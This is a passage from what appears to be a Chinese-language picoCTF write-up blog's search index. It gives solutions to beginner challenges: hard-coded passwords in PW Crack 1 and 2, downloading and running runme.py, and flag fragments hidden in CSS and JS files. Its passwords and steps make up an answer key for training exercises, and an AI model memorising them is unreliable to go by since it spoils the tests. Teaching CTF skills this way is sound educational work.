0.4em;color:#7f7f7f\"\u003e 5\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 6\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 7\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 8\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 9\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e10\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e11\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e12\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e13\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e14\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e15\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e16\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e17\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e18\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e19\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e20\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e21\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e22\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e23\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e24\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e25\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e26\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e27\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e28\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;;width:100%\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-python\" data-lang=\"python\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e### THIS FUNCTION WILL NOT HELP YOU FIND THE FLAG --LT ########################\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003edef\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003estr_xor\u003c/span\u003e(secret, key):\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#75715e\"\u003e#extend key to secret length\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    new_key \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e key\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    i \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003ewhile\u003c/span\u003e len(new_key) \u003cspan style=\"color:#f92672\"\u003e\u0026lt;\u003c/span\u003e len(secret):\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        new_key \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e new_key \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e key[i]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        i \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e (i \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e%\u003c/span\u003e len(key)        \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003ereturn\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003ejoin([chr(ord(secret_c) \u003cspan style=\"color:#f92672\"\u003e^\u003c/span\u003e ord(new_key_c)) \u003cspan style=\"color:#66d9ef\"\u003efor\u003c/span\u003e (secret_c,new_key_c) \u003cspan style=\"color:#f92672\"\u003ein\u003c/span\u003e zip(secret,new_key)])\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e###############################################################################\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eflag_enc \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e open(\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;level1.flag.txt.enc\u0026#39;\u003c/span\u003e, \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;rb\u0026#39;\u003c/span\u003e)\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eread()\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003edef\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003elevel_1_pw_check\u003c/span\u003e():\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    user_pw \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e input(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Please enter correct password for flag: \u0026#34;\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e( user_pw \u003cspan style=\"color:#f92672\"\u003e==\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;1e1a\u0026#34;\u003c/span\u003e):\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        print(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Welcome back... your flag, user:\u0026#34;\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        decryption \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e str_xor(flag_enc\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003edecode(), user_pw)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        print(decryption)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#66d9ef\"\u003ereturn\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    print(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;That password is incorrect\u0026#34;\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003elevel_1_pw_check()\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/p\u003e","title":"PW Crack 1"},{"content":"題目連結 https://learn.cylabacademy.org/library/246\n題目解法 將 level2.py 以及 level2.flag.txt.enc 兩個檔案放在同個目錄下。 查看題目原始碼，可以看到第 18 行，有寫出 user_pw 的值在等於多少的情況下，會通過。 將 user_pw 的 16 進位 ASCII 轉成字元是 39ce。\nuser_pw == chr(0x33) + chr(0x39) + chr(0x63) + chr(0x65) 執行腳本後輸入 39ce 密碼即可得到 flag。\n$ python3 level2.py Please enter correct password for flag: 39ce Welcome back... your flag, user: picoCTF{tr4----------------42e} 題目原始碼 level2.py 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 ### THIS FUNCTION WILL NOT HELP YOU FIND THE FLAG --LT ######################## def str_xor(secret, key): #extend key to secret length new_key = key i = 0 while len(new_key) \u0026lt; len(secret): new_key = new_key + key[i] i = (i + 1) % len(key) return \u0026#34;\u0026#34;.join([chr(ord(secret_c) ^ ord(new_key_c)) for (secret_c,new_key_c) in zip(secret,new_key)]) ############################################################################### flag_enc = open(\u0026#39;level2.flag.txt.enc\u0026#39;, \u0026#39;rb\u0026#39;).read() def level_2_pw_check(): user_pw = input(\u0026#34;Please enter correct password for flag: \u0026#34;) if( user_pw == chr(0x33) + chr(0x39) + chr(0x63) + chr(0x65) ): print(\u0026#34;Welcome back... your flag, user:\u0026#34;) decryption = str_xor(flag_enc.decode(), user_pw) print(decryption) return print(\u0026#34;That password is incorrect\u0026#34;) level_2_pw_check() ","permalink":"https://picoctf-writeup.pinjim.dev/posts/general-skills/pw-crack-2/","summary":"\u003ch2 id=\"題目連結\"\u003e題目連結\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://learn.cylabacademy.org/library/246\"\u003ehttps://learn.cylabacademy.org/library/246\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"題目解法\"\u003e題目解法\u003c/h2\u003e\n\u003cp\u003e將 \u003ccode\u003elevel2.py\u003c/code\u003e 以及 \u003ccode\u003elevel2.flag.txt.enc\u003c/code\u003e 兩個檔案放在同個目錄下。\n查看題目原始碼，可以看到第 18 行，有寫出 \u003ccode\u003euser_pw\u003c/code\u003e 的值在等於多少的情況下，會通過。\n將 \u003ccode\u003euser_pw\u003c/code\u003e 的 16 進位 ASCII 轉成字元是 \u003ccode\u003e39ce\u003c/code\u003e。\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003euser_pw == chr(0x33) + chr(0x39) + chr(0x63) + chr(0x65)\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e執行腳本後輸入 \u003ccode\u003e39ce\u003c/code\u003e 密碼即可得到 flag。\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e$ python3 level2.py \nPlease enter correct password for flag: 39ce\nWelcome back... your flag, user:\npicoCTF{tr4----------------42e}\n\u003c/code\u003e\u003c/pre\u003e\u003ch2 id=\"題目原始碼\"\u003e題目原始碼\u003c/h2\u003e\n\u003cp\u003e\u003ccode\u003elevel2.py\u003c/code\u003e\n\n\n\n\n\n  \n  \u003cdiv class=\"highlight\"\u003e\u003cdiv style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\n\u003ctable style=\"border-spacing:0;padding:0;margin:0;border:0;\"\u003e\u003ctr\u003e\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 1\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 2\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 3\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 4\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 5\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 6\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 7\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 8\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 9\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e10\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e11\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e12\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e13\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e14\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e15\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e16\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e17\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e18\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e19\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e20\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e21\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e22\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e23\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e24\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e25\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e26\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e27\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;;width:100%\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-python\" data-lang=\"python\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e### THIS FUNCTION WILL NOT HELP YOU FIND THE FLAG --LT ########################\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003edef\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003estr_xor\u003c/span\u003e(secret, key):\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#75715e\"\u003e#extend key to secret length\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    new_key \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e key\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    i \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003ewhile\u003c/span\u003e len(new_key) \u003cspan style=\"color:#f92672\"\u003e\u0026lt;\u003c/span\u003e len(secret):\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        new_key \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e new_key \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e key[i]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        i \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e (i \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e%\u003c/span\u003e len(key)        \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003ereturn\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003ejoin([chr(ord(secret_c) \u003cspan style=\"color:#f92672\"\u003e^\u003c/span\u003e ord(new_key_c)) \u003cspan style=\"color:#66d9ef\"\u003efor\u003c/span\u003e (secret_c,new_key_c) \u003cspan style=\"color:#f92672\"\u003ein\u003c/span\u003e zip(secret,new_key)])\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e###############################################################################\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eflag_enc \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e open(\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;level2.flag.txt.enc\u0026#39;\u003c/span\u003e, \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;rb\u0026#39;\u003c/span\u003e)\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eread()\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003edef\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003elevel_2_pw_check\u003c/span\u003e():\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    user_pw \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e input(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Please enter correct password for flag: \u0026#34;\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e( user_pw \u003cspan style=\"color:#f92672\"\u003e==\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x33\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x39\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x63\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x65\u003c/span\u003e) ):\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        print(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Welcome back... your flag, user:\u0026#34;\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        decryption \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e str_xor(flag_enc\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003edecode(), user_pw)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        print(decryption)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#66d9ef\"\u003ereturn\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    print(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;That password is incorrect\u0026#34;\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003elevel_2_pw_check()\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/p\u003e","title":"PW Crack 2"},{"content":"題目連結 https://learn.cylabacademy.org/library/250\n題目解法 這題題目官方希望可以學習使用 wget 和 python 執行指令。假設只是要拿到 flag，可以直接下載後打開查看。 以下是官方希望的做法：\n從網站複製檔案連結，到 webshell 或是自己的 linux 主機使用 wget 指令下載檔案。 wget https://artifacts.picoctf.net/c/34/runme.py 下載後得到一個 runme.py 檔案，使用 python3 指令執行，即可得到 flag。 $ python3 runme.py picoCTF{run--------run} ","permalink":"https://picoctf-writeup.pinjim.dev/posts/general-skills/runme-py/","summary":"\u003ch2 id=\"題目連結\"\u003e題目連結\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://learn.cylabacademy.org/library/250\"\u003ehttps://learn.cylabacademy.org/library/250\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"題目解法\"\u003e題目解法\u003c/h2\u003e\n\u003cp\u003e這題題目官方希望可以學習使用 \u003ccode\u003ewget\u003c/code\u003e 和 \u003ccode\u003epython\u003c/code\u003e 執行指令。假設只是要拿到 flag，可以直接下載後打開查看。\n以下是官方希望的做法：\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e從網站複製檔案連結，到 webshell 或是自己的 linux 主機使用 \u003ccode\u003ewget\u003c/code\u003e 指令下載檔案。\u003c/li\u003e\n\u003c/ol\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003ewget https://artifacts.picoctf.net/c/34/runme.py  \n\u003c/code\u003e\u003c/pre\u003e\u003col start=\"2\"\u003e\n\u003cli\u003e下載後得到一個 \u003ccode\u003erunme.py\u003c/code\u003e 檔案，使用 \u003ccode\u003epython3\u003c/code\u003e 指令執行，即可得到 flag。\u003c/li\u003e\n\u003c/ol\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e$ python3 runme.py \npicoCTF{run--------run}\n\u003c/code\u003e\u003c/pre\u003e","title":"runme.py"},{"content":"題目連結 https://learn.cylabacademy.org/library/274\n題目解法 根據提示可以知道 flag 應該被藏在網頁原始碼中，且可能不在一開始的頁面中。 按下 F12 並點擊 Sources 頁面查看有哪些原始檔案，可以看到除了 index.html 以外，還有 style.css 和 script.js 兩個檔案，查看即可得到部分 Flag。 1 2 3 4 5 body { background-color: lightblue; } /* picoCTF{1nc-------------- */ 1 2 3 4 5 6 function greetings() { alert(\u0026#34;This code is in a separate file!\u0026#34;); } // --------------022} ","permalink":"https://picoctf-writeup.pinjim.dev/posts/web-exploitation/includes/","summary":"\u003ch2 id=\"題目連結\"\u003e題目連結\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://learn.cylabacademy.org/library/274\"\u003ehttps://learn.cylabacademy.org/library/274\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"題目解法\"\u003e題目解法\u003c/h2\u003e\n\u003cp\u003e根據提示可以知道 flag 應該被藏在網頁原始碼中，且可能不在一開始的頁面中。\n按下 F12 並點擊 Sources 頁面查看有哪些原始檔案，可以看到除了 \u003ccode\u003eindex.html\u003c/code\u003e 以外，還有 \u003ccode\u003estyle.css\u003c/code\u003e 和 \u003ccode\u003escript.js\u003c/code\u003e 兩個檔案，查看即可得到部分 Flag。\n\u003cimg alt=\"網頁開發工具截圖\" loading=\"lazy\" 